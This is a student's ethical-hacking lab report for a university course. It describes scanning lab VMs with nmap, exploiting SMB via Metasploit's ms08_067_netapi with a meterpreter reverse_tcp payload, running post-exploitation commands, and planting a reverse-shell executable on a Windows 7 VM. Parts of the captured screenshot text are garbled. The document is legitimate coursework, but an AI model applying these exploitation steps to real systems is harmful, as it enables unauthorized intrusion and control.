Old Dominion University Cyse 301 Cybersecurity Techniques and Operations

|| Ethical Hacking ||

Ethan Heeter 01198507

Task A

1. Run a port scan against the Windows XP using nmap command to identify open ports and services.



Explanation:

Using nmap, I have scanned windows XPO to find the open ports and services. I did this by using sudo nmap 192.168.10.14, which scanned that IP address, which is windows XP, and returned all open ports and services.

2. Identify the SMB port number (default: 445) and confirm that it is open



As seen in the above screenshot, the third port is port 445 is open according to the nmap scan.

3. Launch Metasploit Framework and search for the exploit module: ms08_067_netapi



After launching metasploit I used the search command to find ms08_067_netapi

4. Use ms08_067_netapi as the exploit module and set meterpreter reverse_tcp as the payload.

Except Film			128				
Accober File A He CO	Kai - Internel ctr File Action	Workstation on CY301-EH Media Clipboard V O O II II E D O Places V	- • ×				
Nmap - Zenmap 6	unis: Lam	175. Nessus k 6 & 7+01 d64 deb	ifo		ract@	\$24DenText: -	ITY
Nutanik SS		Ishare	File Edit V Module opti	ew Search Termin ons (exploit/wind	il Help ows/smb/ms	08_067_netapi):	
Wireshart	•		RHOSTS er RPORT SMBPIPE	192.168.10.13 445 BROWSER	yes yes	The target address range or CIDR identifi The SMB service port (TCP) The pipe name to use (BROWSER, SRVSVC)	
Google Crrome	M		Payload opt Name	ions (windows/met Current Setting	erpreter/r Required	everse_tcp): Description	
VM - Kali Login info	₩ 0		EXITFUNC d, process, LHOST specified) LPORT	thread none) 4444	yes yes yes	Exit technique (Accepted: ``, seh, threa The listen address (an interface may be The listen port	
VMware VMware Workszti			Exploit tar	get:		TK.) ITS Help Desk: p@odu.edu
•	# 🗋 🙀	Hyper-V Manager	pfsense - Firewall	i ⊵ Kali - Internal Wo	ik 😍 We	idows XP Profes	^ F⊒ 4 11:49PM 3/28/2023

I set the module to the correct one, which is ms08_067_netap, and then set the payload to be meterpreter reverse_tcp, as it lists as the payload in the options.

5. Use DDMMYY as the listening port number. (It is based on your current timestamp. For example, today's date is March 9th, 2023. Then, you should configure the listening port as 9323.) Configure the rest of the parameters. Display your configurations and exploit the target



As seen in the top screenshot, the options for the exploit were all correctly filled in, including the Lport of 20323. The exploit was then launched and succeeded.

6. [Post-exploitation] Execute the screenshot command to take a screenshot of the target machine if the exploit is successful.



Explanation:

Using the screenshot command, I successfully took a screenshot of the windows XP machine, in which I had used ipconfig to find the IP for earlier steps. This screenshot can be seen in the screenshot above.

7. [Post-exploitation] In meterpreter shell, display the target system's local date and time.



Explanation:

Using the local time command, I displayed the local time of the windows XP system

8. [Post-exploitation] In meterpreter shell, get the SID of the user.



Using the getsid command, I successfully got and displayed the SID of the user, which is S-1-5-18

9. [Post-exploitation] In meterpreter shell, get the current process identifier



Using the PS command, I listed the current processes of the Windows XP system.

10. [Post-exploitation] In meterpreter shell, get system information about the target.

Recycle Birr		210 -						
Acoba Reser	- Internell Worksteine on CY301-EHEET100 Action Media Clipboard View ■ ② ③ III III 등 ⊃ 등 1 cotions ▼ Places ▼ □ Tern	1 - Virtual Machine Connection Help Milhal - teeJhKoW	Jpeg IJPEG Image	ue 00:15 c, 800 × 500 pixels) - Mozilla Firefox	¥ 1			
Ringo - Zenmap G	teeJHKoW.jpeg (JPEG Im ×	file:///root/tee1hKoW.jpe Kali Docs Kali Tools	eg	Ø-Most Visited	🕲 🏠	IN 10 =		
Rutarita SS.	File Edit 1564 52: WINDOWS's: 1760 52: Program F: 1856 48: WINDOWS's: 1984 19: WINDOWS's: 1986 49: 1986 22:	View Search Terminal 8 svChost.cxc 9 svChost.cxc 8 svChost.cxc 8 svChost.cxc 8 VGAuthService.exe 11cs\VMwarcYVMwarc To 4 wpabaln.cxc ystem32\wpabaln.exe 96 cnd.cxc ystem32\cnd.cxc 6 envlore.cxc	root@CS2APer Help x86 0 x86 0 x86 0 ols\VMware VG x86 0 x86 0	NT AUTHORITY\SYSTEM NT AUTHORITY\SYSTEM NT AUTHORITY\SYSTEM NT AUTHORITY\SYSTEM AUTH\VGAuThService.exe ORG-JLF9IGGKXFM\user ORG-JLF9IGGKXFM\user				
Socojik Chrome Wir - Kali Login Infr VUW-r Rali Satus Rume Workbb.	1996 236 explorer.exe x86 8 GRG-JLP91900XFR\user C:\ WINDOWSExplorer.EXE meterpreter.exe x86 8 GRG-JLP91900XFR\user C:\ Image: Complex and the c							
• • • •	🙀 Hypes-V Manager 🛛 🎘 pf	sense - Firewall 6 ⊵ Keli - In	ternal Work	Windows XP Profes		수 🖬 4 1215AM 8/21/2003		

Using the sysinfo command, I displayed the system info of the windows XP system, such as things like the architecture, the logged on users, the system language and more.

Task B

1. Configure your Metasploit accordingly and set DDMMYY as the listening port number. Display the configuration and exploit the target.



I set all of the options to the correct parameters, including the lhost, lport, rhost, and of course the payload. I then ran the exploit and succeeded.

2. [Post-exploitation] Execute the screenshot command to take a screenshot of the target machine if the exploit is successful.



Explanation:

Using the screenshot command I successfully took a screenshot of the Windows server 2008.

3. [Post-exploitation] In meterpreter shell, display the target system's local date and time.



Using the local time command, I displayed the local time of the windows server 8 system

4. [Post-exploitation] In meterpreter shell, get the SID of the user.



Using the getsid command, I successfully got and displayed the SID of the user, which is S-1-5-18

5. [Post-exploitation] In meterpreter shell, get the current process identifier

-		🖳 Kali	- Internal	Workstatio	n on CY301-EHEET001 - Virtual Machine	Connection	ù.		- D X	N.
0		File	Action	Media	Clipboard View Help					
Recycle Bin		fli 6	0	0 11	▶ 🕞 > 분 🖬					
		Appli	cations	• Pla	aces 👻 🗈 Terminal 🕶			Tue 00:44	1 # / 40-	20
								root@CS2APenTest: ~	000	
1	File		File	Edit Vi	ew Search Terminal Help					
Acrobat	fb		neter	ireter	> ps				l.	•
Reader	Star									NION
second.	Star		Fraces	55 L150						
	Boot								NUMBER OF	ΤY
2	-		PID	PPID	Nane	Arch	Session	User	Path	
Nmap-	free									
company co	Hier	-	8	0	[System Process]	014040				
100			100	0	System	×64	0			
1	HHX.		288	4	smss.exe	x64	8	NT AUTHORITY\SYSTEM	\SystemRoot\System32\smss.exe	
12	11111		368	360	csrss.exe	x64		NT AUTHORITY\SYSTEM	C:\windows\system32\csrss.exe	
Nutanie SSR	UAN	-	420	412	csrss.exe	X04	1	NT AUTHORITY/SYSTEM	C:\Windows\system32\csrss.exe	
1000	Lan	~	428	360	wininit.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\system32\wininit.exe	
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1	01		456	412	winlogon.exe	x64	4	NT AUTHORITY\SYSTEM	C:\windows\system32\winlogon.exe	
1	10		564	516	svchost.exe	X64		NT AUTHORITY\LOCAL SERVICE	a state of the same second second second	
	(5	_	510	428	services.exe	X04		NT AUTHORITY/SYSTEM	C:\Windows\system32\Services.exe	
	3)		524	428	lsass.exe	X04	8	NT AUTHORITY/SYSTEM	C:\Windows\system32\lsass.exe	
Wireshark	4)	100	630	516	cychact ave	264		NT AUTHORITY/ SYSTEM	C: (Windows (systems2)(sm.exe	
	22		676	516	sychost, exe	- 6 A	0	MT AUTHODITY/ SYSTEM	C () Broaram Eiler) UMusre) UMusre Tools)	
1	7)	R	vnacth	lp.exe	and cheprose			HE HOUMALE GESTION	stifting on stresting street.	
	8)	-	720	516	sychost.exe	x64	8	NT AUTHORITY\NETWORK SERVICE	1499 C	
20		-	868	420	conhost.exe	x64	1	W2008R2\Administrator	C:\Windows\system32\conhost.exe	
Googie	Ente	<u></u>	812	516	svchost.exe	x64	8	NT AUTHORITY\LOCAL SERVICE		
Chrome	Statu		860	516	svchost.exe	x64	8	NT AUTHORITY\SYSTEM		
allerence		20	908	516	svchost.exe	x64		NT AUTHORITY\LOCAL SERVICE		
			956	516	svchost.exe	x64	8	NT AUTHORITY\SYSTEM		
		-	996	516	svchost.exe	x64	0	NT AUTHORITY\NETWORK SERVICE		
Sector 1		F	1108	516	spoolsv.exe	x64		NT AUTHORITY\SYSTEM	C:\Windows\System32\spoolsv.exe	
VM - Kali			1148	516	vmicsvc.exe	x64		NT AUTHORITY\NETWORK SERVICE		
cogerine			1180	516	vmicsvc.exe	X64	8	NT AUTHORITY\LOCAL SERVICE		
			1200	516	vm1csvc.exe	X64	8	NT AUTHORITY\SYSTEM		
			1232	516	vmicsvc.exe	x64	8	NT AUTHORITY\LOCAL SERVICE	KALL	and the second
			1256	516	vmicsvc.exe	x64	8	NT AUTHORITY\SYSTEM		ITS Help Deck
VMware			1304	516	svchost.exe	x64	8	NT AUTHORITY\SYSTEM		TO TIOD DOSK.
Workstati			1328	516	svchost.exe	x64	8	NT AUTHORITY\SYSTEM		Body ody
- alter and a second second			1368	516	svchost_exe	×64	B	NT AUTHORITY\LOCAL SERVICE		escundedu.
			1460	516	VGAuthService.exe	×64	0	NT AUTHORITY\SYSTEM	C:\Program Files\VMware\VMware Tools\	
		-	vinwa ne	C VOAUT	in wawarnservice.exe			100		12/1/11
			B III	yper-V Ma	nager 💐 pEsense - Firewall 6	Win	dows Server 20.	Koli - Internal Work		^ 🖾 🌆 3/21/2023

Using the PS command, I listed the current processes of the windows server 2008 system.

6. [Post-exploitation] In meterpreter shell, get system information about the target.



I used the sysinfo command to get the system info of the Windows server 2008 system I have exploited. This info includes the system language, the domain, the computer, and more.

Task C

- in this task, you need to create an executable payload with the required configurations below. Once your payload is ready, you should upload it to the web server running on Kali Linux and download the payload from Windows 7, then execute it on the target to make a reverse shell (20 pt). Of course, don't forget to configure your Metasploit on Kali Linux before the payload is triggered on the target VM. The requirements for your payload are (10 pt, 5pt each):
 - Payload Name: Use your MIDAS ID (for example, pjiang.exe)

• Listening port: DDMMYY (It is based on your current timestamp. For example, today's date is March 9th, 2023. Then, you should configure the listening port as 9323.)





In the screenshots above I show the process I used to make and get a payload onto Windows 7 so that it can be exploited. The first screenshot shows my configuration of the multi/handler exploit, making note of the Lport being 20323. The second shows my creation of the payload, with the Lport also being 20323 as well as the name being eheet.exe, as well as the copying of said payload onto the website. In the third screenshot I show the windows 7 side having downloaded the executable. In the final screenshot you can see that the meterpreter session is opened after the executable was run on windows 7. This process allowed for the hacker to gain access to the windows 7 system.

Execute the screenshot command to take a screenshot of the target machine if the exploit is successful



Explanation:

Using the screenshot command I was able to take a screenshot of the windows 7 system

3. Create a text file on the attacker Kali named "IMadeIT-YourMIDAS.txt" (replace YourMIDAS with your university MIDAS ID) and put the current timestamp in the file. Upload this file to the target's desktop. Then log in to Windows 7 VM and check if the file exists. You need to show me the command that uploads the file.





First I created the txt file IMadeIT-eheet.txt and added the timestamp to it using date >> IMadeIT-eheet.txt. I then navigated to the desktop by using the command cd C:\\Users\\window\ 7\\desktop. Once there I used the upload command to upload the txt file to the windows 7 machine. Then I opened the Windows 7 machine and it was on the desktop.